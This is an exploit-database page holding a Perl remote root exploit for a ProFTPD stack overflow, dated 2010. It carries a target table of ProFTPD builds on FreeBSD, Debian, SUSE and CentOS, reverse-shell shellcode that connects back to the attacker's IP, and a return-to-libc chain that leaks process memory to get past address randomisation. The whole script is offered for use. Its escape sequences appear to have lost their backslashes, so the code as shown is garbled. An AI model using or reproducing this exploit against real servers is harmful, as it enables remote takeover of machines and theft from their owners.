[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ProFTPD IAC Remote Root Exploit
# Published : 2010-11-07
# Author : Kingcope
# Previous Title : Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit
# Next Title : Femitter FTP Server 1.04 Directory Traversal Vulnerability


# Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope

use IO::Socket;

$numtargets = 13;

@targets =
( 
 # Plain Stack Smashing
 
 #Confirmed to work
 ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
 	"FreeBSD",	# OPERATING SYSTEM
 	0,			# EXPLOIT STYLE
 	0xbfbfe000,	# OFFSET START
 	0xbfbfff00,	# OFFSET END
 	1029],		# ALIGN
 
 #Confirmed	to work
 ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
 	"FreeBSD",
 	0,
 	0xbfbfe000,
 	0xbfbfff00,
 	1021],
 	
 # Return into Libc
 
 #Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			# EXPLOIT STYLE
 	0x0804CCD4,	# write(2) offset
 	8189,		# ALIGN
 	0], 		# PADDING

 # Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804D23C,
 	4101,
 	0],
 
 #Confirmed to work
 ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			
 	0x0804C9A4,	
 	8189,
 	0], 		
 #Confirmed to work	
 ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
 	"Linux",
 	1,			
 	0x080532D8,	
 	4101,
 	12],
 	
 ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C9C4,
 	8189,
 	0],

 ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CAA8,
 	8189,
 	0],
 	
 ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CBBC,
 	8189,
 	0],

 ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCBC,
 	8189,
 	0], 

 #Confirmed to work
 ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCE0,
 	8189,
 	0], 	

 ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CA2C,
 	8189,
 	0], 

 #Confirmed to work
 ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C290,
 	8189,
 	0],
	
 	# feel free to add more targets.
);

#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
		# setreuid
        "x31xc0x31xc0x50x31xc0x50xb0x7ex50xcdx80".
		# connect back :>
		"x31xc0x31xdbx53xb3x06x53".
        "xb3x01x53xb3x02x53x54xb0".
        "x61xcdx80x31xd2x52x52x68".
        "x41x41x41x41x66x68xb0xef".
        "xb7x02x66x53x89xe1xb2x10".
        "x52x51x50x52x89xc2x31xc0".
        "xb0x62xcdx80x31xdbx39xc3".
        "x74x06x31xc0xb0x01xcdx80".
        "x31xc0x50x52x50xb0x5axcd".
        "x80x31xc0x31xdbx43x53x52".
        "x50xb0x5axcdx80x31xc0x43".
        "x53x52x50xb0x5axcdx80x31".
        "xc0x50x68x2fx2fx73x68x68".
        "x2fx62x69x6ex89xe3x50x54".
        "x53x50xb0x3bxcdx80x31xc0".
        "xb0x01xcdx80";

#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"x31xc0x31xdbx31xc9xb0x46xcdx80x90x90x90".
# connect back :>
"x6ax66".
"x58".
"x6ax01".
"x5b".    
"x31xc9".
"x51".
"x6ax01".
"x6ax02".
"x89xe1".
"xcdx80".
"x68x7fx7fx7fx7f". # IP
"x66x68xb0xef". # PORT
"x66x6ax02".
"x89xe1".
"x6ax10".    
"x51".    
"x50".        
"x89xe1".
"x89xc6".    
"x6ax03".    
"x5b".    
"x6ax66".
"x58".    
"xcdx80".
"x87xf3".    
"x6ax02".    
"x59".    
"xb0x3f".
"xcdx80".    
"x49".    
"x79xf9".
"xb0x0b".    
"x31xd2".    
"x52".    
"x68x2fx2fx73x68".
"x68x2fx62x69x6e".
"x89xe3".
"x52".            
"x53".                
"x89xe1".
"xcdx80";

sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
		printf("[$target] CURRENT OFFSET = %08x :pPn", $counter);
		$ret = pack("V", $counter);
		$align = $targets[$ttype][5];

		my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          		 PeerPort => 21,
           		                  		 Proto    => 'tcp');

		$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "x90" x 500 . $shellcode . "A" x 10;

		$v = <$sock>;
	
		print $sock "x00" x $align . "xff" . $stack . "n";
	
		close($sock);		    
	}    
}

# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
# 
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
#     such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
#     to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
#     and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.

sub exploit2 {
	printf("[$target] %s :pPn", $targets[$ttype][0]);
	$align = $targets[$ttype][4];
	$write_offset = $targets[$ttype][3];
	$padding = $targets[$ttype][5];
		
	$|=1;
	print "align = $alignn";
	print "Seeking for write(2)..n";
	
	#known good write(2) values
	#0x0804C290
	#0x0804A85C
	#0x0804A234
	#0x08052830
	#080532D8 proftpd-basic_1.3.3a-4_i386
	#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
	#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!

	printf "Using write offset %08x.n", $write_offset;
	$k = $write_offset;
	$sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');

	$sock->sockopt(SO_LINGER, pack("ii", 1, 0));
	#$x = <stdin>;
	$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . 
			 pack("V", $k).  # write
			 "xccxccxccxcc".
			 "x01x00x00x00".	# fd for write
			 pack("V", $k). # buffer for write
			 "xffxffx00x00";	# length for write

	$v = <$sock>;
	
	print $sock "x00" x $align . "xff" . $stack . "n";
	
	vec ($rfd, fileno($sock), 1) = 1;

	$timeout = 2;
    if (select ($rfd, undef, undef, $timeout) >= 0
             && vec($rfd, fileno($sock), 1))
    {
       if (read($sock, $buff, 0xffff) == 0xffff) {
		printf "nSUCCESS. write(2) is at %08xn", $k;	
		close($sock);
		goto lbl1;
		}
    }
    
	close($sock);
	printf "wrong write(2) offset.n";
	exit;

lbl1:
#	Once we're here chances are good that we get the root shell

	print "Reading memory from server...n";
	my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');	
	
	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
			 pack("V", $k).  # write
			 "xccxccxccxcc".
			 "x01x00x00x00".	# fd for write
			 pack("V", $k). # buffer for write
			 "xffxffx0fx00";	# length for write

	$v = <$sock>;
	
	print $sock "x00" x $align . "xff" . $stack . "n"; 
	
	read($sock, $buff, 0xfffff);

	if (($v = index $buff, "x5Ex5Fx5D") >= 0) {
		$pop3ret = $k + $v;
		printf "pop pop pop ret located at %08xn", $pop3ret;
	} else {
		print "Could not find pop pop pop retn";
		exit;
	}
	
	if (($v = index $buff, "x83xC4x20x5Bx5Ex5DxC3") >= 0) {
		$largepopret = $k + $v;
		printf "large pop ret located at %08xn", $largepopret;
	} else {
		print "Could not find pop pop pop retn";
		exit;
	}

	if (($v = index $buff, "xC7x44x24x08x03x00x00x00xC7x04x24x00x00x00x00x89x44x24x04") >= 0) {
		$addr1 = $k+$v+23;
		
		$mmap64 = unpack("I", substr($buff, $v+20, 4));
		$mmap64 = $addr1 - (0xffffffff-$mmap64);
		printf "mmap64 is located at %08xn", $mmap64;
	} else {
		if (($v = index $buff, "x89x44x24x10xA1xBCxA5x0Fx08x89x44x24x04xe8") >= 0) {
			$addr1 = $k+$v+17;
		
			$mmap64 = unpack("I", substr($buff, $v+14, 4));
			$mmap64 = $addr1 - (0xffffffff-$mmap64);
			printf "mmap64 is located at %08xn", $mmap64;
		} else {
			print "Could not find mmap64()n";
			exit;
		}
	}
	
		
		
		if (($v = index $buff, "x8Dx45xF4x89x04x24x89x54x24x08x8Bx55x08x89x54x24x04xE8") >= 0) {
			$addr1 = $k+$v+21;
			$memcpy = unpack("I", substr($buff, $v+18, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08xn", $memcpy;
		} else {		
		
		if (($v = index $buff, "x8Bx56x10x89x44x24x08x89x54x24x04x8Bx45xE4x89x04x24xe8") >= 0) {
			$addr1 = $k+$v+21;
		
			$memcpy = unpack("I", substr($buff, $v+18, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08xn", $memcpy;
		} else {
		if (($v = index $buff, "x89x44x24x04xA1xBCx9Fx0Ex08x89x04x24") >= 0) {
			$addr1 = $k+$v+16;
		
			$memcpy = unpack("I", substr($buff, $v+13, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08xn", $memcpy;
		} else {
		if (($v = index $buff, "x89x7Cx24x04x89x1Cx24x89x44x24x08") >= 0) {
			$addr1 = $k+$v+15;
		
			$memcpy = unpack("I", substr($buff, $v+12, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08xn", $memcpy;
	
		}	 else {
		if (($v = index $buff, "x8Bx55x10x89x74x24x04x89x04x24x89x54x24x08") >= 0) {
			$addr1 = $k+$v+18;
			$memcpy = unpack("I", substr($buff, $v+15, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08xn", $memcpy;
		} else {
			
			print "Could not find memcpy()n";
			exit;	
		}
		}
		}
		}	
	}
	
	if (($v = index $buff, "xfcx8b") >= 0) {
		$byte1 = $k+$v;
		printf ("byte1: %08xn", $byte1);	
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "xf4") >= 0) {
		$byte2 = $k+$v;
		printf ("byte2: %08xn", $byte2);
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "xbf") >= 0) {
		$byte3 = $k+$v;
		printf ("byte3: %08xn", $byte3);	
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "x00x01x00") >= 0) {
		$byte4 = $k+$v;
		printf ("byte4: %08xn", $byte4);	
	} else {
		print "Could not find a special byten";
		exit;	
	}

	if (($v = index $buff, "x10") >= 0) {
		$byte5 = $k+$v;
		printf ("byte5: %08xn", $byte5);	
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "xB9x00x02x00x00") >= 0) {
		$byte6 = $k+$v;
		printf ("byte6: %08xn", $byte6);	
	} else {
		print "Could not find a special byten";
		exit;	
	}
	

	if (($v = index $buff, "xf3") >= 0) {
		$byte7 = $k+$v;
		printf ("byte7: %08xn", $byte7);	
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "xA4") >= 0) {
		$byte8 = $k+$v;
		printf ("byte8: %08xn", $byte8);
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
	if (($v = index $buff, "xebxff") >= 0) {
		$byte9 = $k+$v;
		printf ("byte9: %08xn", $byte9);
	} else {
		print "Could not find a special byten";
		exit;	
	}
	
# shellcode copy routine:
#0100740B     FC             CLD
#0100740C     8BF4           MOV ESI,ESP
#0100740E     BF 00010010    MOV EDI,10000100
#01007413     B9 00020000    MOV ECX,200
#01007418     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#			  EB FF 		 JMP +0xFF		
# FC 8B	
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF

# El1Te X-Ploit TechNiqUe (C)

	print "Building exploit buffern";

	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
			 pack("V", $mmap64). # mmap64()
			 pack("V", $largepopret). # add     esp, 20h; pop; pop
			 "x00x00x00x10". # mmap start
			 "x00x10x00x00". # mmap size
			 "x07x00x00x00". # mmap prot
			 "x32x00x00x00". # mmap flags
			 "xffxffxffxff". # mmap fd
			 "x00x00x00x00". # mmap offset
			 "x00x00x00x00". # mmap offset			 
			 "x00x00x00x00".
			 "x00x00x00x00".
			 "x00x00x00x00".
			 "x00x00x00x00".
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x00x00x00x10". # destination
			 pack("V", $byte1). # origin
			 "x02x00x00x00". # number of bytes to copy
			 
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x02x00x00x10". # destination
			 pack("V", $byte2). # origin
			 "x01x00x00x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x03x00x00x10". # destination
			 pack("V", $byte3). # origin
			 "x01x00x00x00". # number of bytes to copy
			 			 
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x04x00x00x10". # destination
			 pack("V", $byte4). # origin
			 "x03x00x00x00". # number of bytes to copy
			 
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x07x00x00x10". # destination
			 pack("V", $byte5). # origin
			 "x01x00x00x00". # number of bytes to copy
			 
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x08x00x00x10". # destination
			 pack("V", $byte6). # origin
			 "x05x00x00x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x0dx00x00x10". # destination
			 pack("V", $byte7). # origin
			 "x01x00x00x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x0ex00x00x10". # destination
			 pack("V", $byte8). # origin
			 "x01x00x00x00". # number of bytes to copy
			 
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "x0fx00x00x10". # destination
			 pack("V", $byte9). # origin
			 "x02x00x00x00". # number of bytes to copy
			 
			 "x00x00x00x10". # JUMP TO 0x10000000 rwxp address			 

			 "x90" x 100 . $shellcode . "x90" x 10;		
	
	print "Sending exploit buffer!n";
	
	my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');				 
	$v = <$sock>;

	print $sock "x00" x $align . "xff" . $stack . "n";
	
	print "Check your netcat?n";
	
	while(<$sock>) {
		print;	
	}			 
}

sub usage() {
	print "written by kingcopen";
 	print "usage:n".
 		  "proremote.pl <target ip/host> <your ip> <target type>nn";
    for ($i=0; $i<$numtargets; $i++) {
  		print "t[".$i."]t". $targets[$i][0]. "rn";
    }
 		  
	exit;
}

if ($#ARGV ne 2) { usage; }

$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];

$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

if ($platform eq "FreeBSD") {
	$shellcode = $bsdcbsc;
	substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else { 
if ($platform eq "Linux") {
	$shellcode = $lnxcbsc;
	substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
	print "typo ?n";
	exit;
}}

if ($style eq 0) {
	exploit1;
} else {
	exploit2;	
}

print "done.n";
exit;